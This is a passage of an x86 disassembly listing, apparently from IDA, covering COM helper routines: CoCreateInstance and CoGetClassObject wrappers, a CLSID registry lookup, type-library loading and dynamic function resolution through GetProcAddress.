var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		and	[ebp+var_4], 0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_4241A8
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_41CA0F
		add	esp, 18h
		test	eax, eax
		jl	loc_41CBEF
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_14], 0
		and	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_424198
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		push	[ebp+var_4]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jl	loc_41CB99
		and	[ebp+var_18], 0
		jmp	short loc_41CB0E
; ---------------------------------------------------------------------------


loc_41CB07:				; CODE XREF: sub_41CAA3+E6j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_41CB0E:				; CODE XREF: sub_41CAA3+62j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_41CB8E
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		lea	eax, [ecx+eax+4]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		push	[ebp+var_8]
		call	dword ptr [eax]
		mov	ecx, [ebp+var_18]
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_14]
		mov	[edx+ecx+8], eax
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		cmp	dword ptr [ecx+eax+8], 0
		jl	short loc_41CB5D
		mov	[ebp+var_C], 1
		jmp	short loc_41CB7A
; ---------------------------------------------------------------------------


loc_41CB5D:				; CODE XREF: sub_41CAA3+B2j
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		cmp	dword ptr [ecx+eax+8], 80004002h
		jnz	short loc_41CB76
		mov	[ebp+var_10], 1
		jmp	short loc_41CB7A
; ---------------------------------------------------------------------------


loc_41CB76:				; CODE XREF: sub_41CAA3+CBj
		mov	[ebp+var_14], 1


loc_41CB7A:				; CODE XREF: sub_41CAA3+B8j
					; sub_41CAA3+D1j
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+eax]
		mov	[ebp+var_1C], eax
		jmp	loc_41CB07
; ---------------------------------------------------------------------------


loc_41CB8E:				; CODE XREF: sub_41CAA3+71j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		push	[ebp+var_8]
		call	dword ptr [eax+8]


loc_41CB99:				; CODE XREF: sub_41CAA3+58j
		movzx	eax, [ebp+var_14]
		test	eax, eax
		jz	short loc_41CBAC
		mov	eax, [ebp+arg_18]
		mov	dword ptr [eax], 80004005h
		jmp	short loc_41CBE0
; ---------------------------------------------------------------------------


loc_41CBAC:				; CODE XREF: sub_41CAA3+FCj
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jz	short loc_41CBC7
		movzx	eax, [ebp+var_10]
		test	eax, eax
		jz	short loc_41CBC7
		mov	eax, [ebp+arg_18]
		mov	dword ptr [eax], 80012h
		jmp	short loc_41CBE0
; ---------------------------------------------------------------------------


loc_41CBC7:				; CODE XREF: sub_41CAA3+10Fj
					; sub_41CAA3+117j
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jz	short loc_41CBD7
		mov	eax, [ebp+arg_18]
		and	dword ptr [eax], 0
		jmp	short loc_41CBE0
; ---------------------------------------------------------------------------


loc_41CBD7:				; CODE XREF: sub_41CAA3+12Aj
		mov	eax, [ebp+arg_18]
		mov	dword ptr [eax], 80004002h


loc_41CBE0:				; CODE XREF: sub_41CAA3+107j
					; sub_41CAA3+122j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		push	[ebp+var_4]
		call	dword ptr [eax+8]
		xor	eax, eax
		jmp	short locret_41CBF4
; ---------------------------------------------------------------------------


loc_41CBEF:				; CODE XREF: sub_41CAA3+29j
		mov	eax, 80004005h

locret_41CBF4:				; CODE XREF: sub_41CAA3+14Aj
		leave
		retn
sub_41CAA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CBF6	proc near		; DATA XREF: _5:off_424390o

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421570
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_2C], 0
		xor	eax, eax
		lea	edi, [ebp+var_28]
		stosd
		stosd
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CAA3
		add	esp, 1Ch
		test	eax, eax
		jl	short loc_41CC78
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		push	0FFFFFFFFh
		mov	eax, [ebp+var_24]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	loc_41CD05
; ---------------------------------------------------------------------------


loc_41CC78:				; CODE XREF: sub_41CBF6+5Dj
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_41CCB4
		push	[ebp+arg_0]
		call	sub_41CD16
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_41CCB4
		mov	[ebp+arg_8], 1
		push	[ebp+var_1C]
		call	ds:dword_424698	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_41CCB4
		push	8
		push	0
		push	[ebp+var_1C]
		call	sub_41E170


loc_41CCB4:				; CODE XREF: sub_41CBF6+8Aj
					; sub_41CBF6+9Cj ...
		and	[ebp+var_20], 0
		push	offset dword_4215D4
		push	offset aCocreateinstan ; "CoCreateInstance"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_20]
		push	0FFFFFFFFh
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_41CD05
; ---------------------------------------------------------------------------


loc_41CCF3:				; DATA XREF: _4:00421578o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_41BACD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41CD05:				; CODE XREF: sub_41CBF6+7Dj
					; sub_41CBF6+FBj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_41CBF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD16	proc near		; CODE XREF: sub_41CBF6+8Fp
					; sub_41CE67+8Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041CD80 SIZE 0000007A BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421580
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_428FF8
		call	ds:dword_424644	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		cmp	ds:dword_429010, 0
		jnz	short loc_41CD69
		push	offset aAdvapi32_dll ; "ADVAPI32.DLL"
		push	offset aRegqueryvaluea ; "RegQueryValueA"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_429010, eax


loc_41CD69:				; CODE XREF: sub_41CD16+3Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41CD74
		jmp	short loc_41CD80
sub_41CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CD74	proc near		; CODE XREF: sub_41CD16+57p
					; DATA XREF: _4:00421588o
		push	offset dword_428FF8
		call	ds:dword_4246D4	; RtlLeaveCriticalSection
		retn
sub_41CD74	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41CD16


loc_41CD80:				; CODE XREF: sub_41CD16+5Cj
		push	401h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_20], 400h
		mov	ecx, [ebp+var_20]
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		push	[ebp+arg_0]
		call	sub_41CDFA
		pop	ecx
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+var_1C]
		push	offset dword_428EF8
		push	80000000h
		call	ds:dword_429010
		test	eax, eax
		jnz	short loc_41CDDA
		mov	eax, [ebp+var_1C]
		jmp	short loc_41CDEB
; ---------------------------------------------------------------------------


loc_41CDDA:				; CODE XREF: sub_41CD16+BDj
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	sub_41BACD
		pop	ecx
		xor	eax, eax


loc_41CDEB:				; CODE XREF: sub_41CD16+C2j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_41CD16

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CDFA	proc near		; CODE XREF: sub_41CD16+9Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Fh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Eh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Dh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Ch]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Bh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+9]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+8]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+6]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		push	offset aClsid08x04x04x ; "CLSID\\{%08x-%04x-%04x-%02x%02x-%02x%02x"...
		push	offset dword_428EF8
		call	ds:dword_424754	; wsprintfA
		add	esp, 34h
		pop	ebp
		retn
sub_41CDFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE67	proc near		; DATA XREF: _5:00424398o

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421590
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CAA3
		add	esp, 1Ch
		test	eax, eax
		jl	short loc_41CED1
		push	0FFFFFFFFh
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	loc_41CF8D
; ---------------------------------------------------------------------------


loc_41CED1:				; CODE XREF: sub_41CE67+4Dj
		and	[ebp+var_20], 0
		push	offset dword_4215D4
		push	offset aCocreateinst_0 ; "CoCreateInstanceEx"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_41CF25
		push	[ebp+arg_0]
		call	sub_41CD16
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_41CF25
		mov	[ebp+arg_8], 1
		push	[ebp+var_1C]
		call	ds:dword_424698	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_41CF25
		push	8
		push	0
		push	[ebp+var_1C]
		call	sub_41E170


loc_41CF25:				; CODE XREF: sub_41CE67+8Aj
					; sub_41CE67+9Cj ...
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		and	[ebp+var_28], 0
		jmp	short loc_41CF4A
; ---------------------------------------------------------------------------


loc_41CF43:				; CODE XREF: sub_41CE67+FAj
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax


loc_41CF4A:				; CODE XREF: sub_41CE67+DAj
		mov	eax, [ebp+var_28]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_41CF63
		mov	eax, [ebp+var_28]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+eax]
		mov	[ebp+var_30], eax
		jmp	short loc_41CF43
; ---------------------------------------------------------------------------


loc_41CF63:				; CODE XREF: sub_41CE67+E9j
		push	0FFFFFFFFh
		mov	eax, [ebp+var_24]
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_41CF8D
; ---------------------------------------------------------------------------


loc_41CF7B:				; DATA XREF: _4:00421598o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_41BACD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41CF8D:				; CODE XREF: sub_41CE67+65j
					; sub_41CE67+112j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_41CE67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF9E	proc near		; DATA XREF: _5:004243A0o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4215A0
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CA0F
		add	esp, 18h
		test	eax, eax
		jl	short loc_41D005
		push	0FFFFFFFFh
		mov	eax, [ebp+var_24]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	loc_41D092
; ---------------------------------------------------------------------------


loc_41D005:				; CODE XREF: sub_41CF9E+4Aj
		mov	eax, [ebp+arg_4]
		and	eax, 1
		test	eax, eax
		jz	short loc_41D041
		push	[ebp+arg_0]
		call	sub_41CD16
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_41D041
		mov	[ebp+arg_4], 1
		push	[ebp+var_1C]
		call	ds:dword_424698	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_41D041
		push	8
		push	0
		push	[ebp+var_1C]
		call	sub_41E170


loc_41D041:				; CODE XREF: sub_41CF9E+6Fj
					; sub_41CF9E+81j ...
		and	[ebp+var_20], 0
		push	offset dword_4215D4
		push	offset aCogetclassobje ; "CoGetClassObject"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_20]
		push	0FFFFFFFFh
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_41D092
; ---------------------------------------------------------------------------


loc_41D080:				; DATA XREF: _4:004215A8o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	sub_41BACD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41D092:				; CODE XREF: sub_41CF9E+62j
					; sub_41CF9E+E0j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_41CF9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0A3	proc near		; CODE XREF: sub_41D112+9Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 80070057h
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	[ebp+arg_0]
		call	dword ptr [eax+18h]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jl	short loc_41D10D
		and	[ebp+var_C], 0
		push	offset dword_4215F0
		push	offset aGetrecordinfof ; "GetRecordInfoFromTypeInfo"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_41D106
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	[ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		push	[ebp+var_4]
		call	dword ptr [eax+8]
		jmp	short loc_41D10D
; ---------------------------------------------------------------------------


loc_41D106:				; CODE XREF: sub_41D0A3+48j
		mov	[ebp+var_8], 80004005h


loc_41D10D:				; CODE XREF: sub_41D0A3+2Aj
					; sub_41D0A3+61j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_41D0A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D112	proc near		; DATA XREF: _5:off_4243A8o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		mov	[ebp+var_4], 80004005h
		push	[ebp+arg_0]
		call	sub_416BE0
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	loc_41D1DB
		and	[ebp+var_10], 0
		mov	edi, [ebp+var_8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_18], ecx
		push	208h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		mov	ecx, 82h
		xor	eax, eax
		mov	edi, [ebp+var_14]
		rep stosd
		push	104h
		push	[ebp+var_14]
		push	0FFFFFFFFh
		push	[ebp+var_8]
		push	0
		push	0
		call	ds:dword_4246F0	; MultiByteToWideChar
		push	offset dword_4215F0
		push	offset aLoadtypelib ; "LoadTypeLib"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		call	[ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jl	short loc_41D1C7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+var_10]
		call	sub_41D0A3
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax]
		push	[ebp+var_10]
		call	dword ptr [eax+8]


loc_41D1C7:				; CODE XREF: sub_41D112+94j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_41BACD
		pop	ecx
		mov	eax, [ebp+var_4]
		jmp	short loc_41D215
; ---------------------------------------------------------------------------


loc_41D1DB:				; CODE XREF: sub_41D112+1Ej
		and	[ebp+var_1C], 0
		push	offset dword_4215F0
		push	offset aGetrecordinf_0 ; "GetRecordInfoFromGuids"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_41D210
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_1C]
		jmp	short loc_41D215
; ---------------------------------------------------------------------------


loc_41D210:				; CODE XREF: sub_41D112+E5j
		mov	eax, 80004005h


loc_41D215:				; CODE XREF: sub_41D112+C7j
					; sub_41D112+FCj
		pop	edi
		leave
		retn	18h
sub_41D112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D21A	proc near		; DATA XREF: _5:004243B0o

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_8], 80004005h
		push	[ebp+arg_0]
		call	sub_416BE0
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41D293
		push	208h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		push	104h
		push	[ebp+var_10]
		push	0FFFFFFFFh
		push	[ebp+var_4]
		push	0
		push	0
		call	ds:dword_4246F0	; MultiByteToWideChar
		push	offset dword_4215F0
		push	offset aLoadtypelib ; "LoadTypeLib"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_10]
		push	[ebp+var_10]
		call	[ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		call	sub_41BACD
		pop	ecx


loc_41D293:				; CODE XREF: sub_41D21A+1Dj
		cmp	[ebp+var_8], 0
		jge	short loc_41D2C2
		push	offset dword_4215F0
		push	offset aLoadregtypelib ; "LoadRegTypeLib"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_14]
		mov	[ebp+var_8], eax


loc_41D2C2:				; CODE XREF: sub_41D21A+7Dj
		mov	eax, [ebp+var_8]
		leave
		retn	14h
sub_41D21A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2C9	proc near		; CODE XREF: sub_41D300+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	ds:dword_424698	; GetModuleHandleA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41D2EC
		push	[ebp+arg_4]
		call	ds:dword_4246DC	; LoadLibraryA
		mov	[ebp+var_8], eax


loc_41D2EC:				; CODE XREF: sub_41D2C9+15j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	ds:dword_4246A8	; GetProcAddress
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41D2C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D300	proc near		; CODE XREF: sub_41922D+16p
					; sub_41AB84+97p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D2C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41D32D
		push	ds:off_4214F0
		push	30h
		push	ds:off_4214F4
		call	sub_41BB7C


loc_41D32D:				; CODE XREF: sub_41D300+18j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41D300	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D332	proc near		; CODE XREF: sub_41D6FE+39p
					; DATA XREF: _5:off_424220o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D342
		mov	[ebp+arg_0], offset sub_41C317


loc_41D342:				; CODE XREF: sub_41D332+7j
		movzx	eax, ds:byte_429030
		test	eax, eax
		jnz	short loc_41D358
		push	[ebp+arg_0]
		call	ds:dword_424710	; SetUnhandledExceptionFilter
		jmp	short loc_41D368
; ---------------------------------------------------------------------------


loc_41D358:				; CODE XREF: sub_41D332+19j
		push	offset sub_41C317
		call	ds:dword_424710	; SetUnhandledExceptionFilter
		mov	eax, offset sub_41C317


loc_41D368:				; CODE XREF: sub_41D332+24j
		pop	ebp
		retn	4
sub_41D332	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D36C	proc near		; CODE XREF: sub_41D579+108p
					; sub_41D579+15Ep

var_18		= word ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+18h]
		dec	eax
		mov	[ebp+var_4], eax


loc_41D380:				; CODE XREF: sub_41D36C:loc_41D401j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_4]
		jg	short loc_41D406
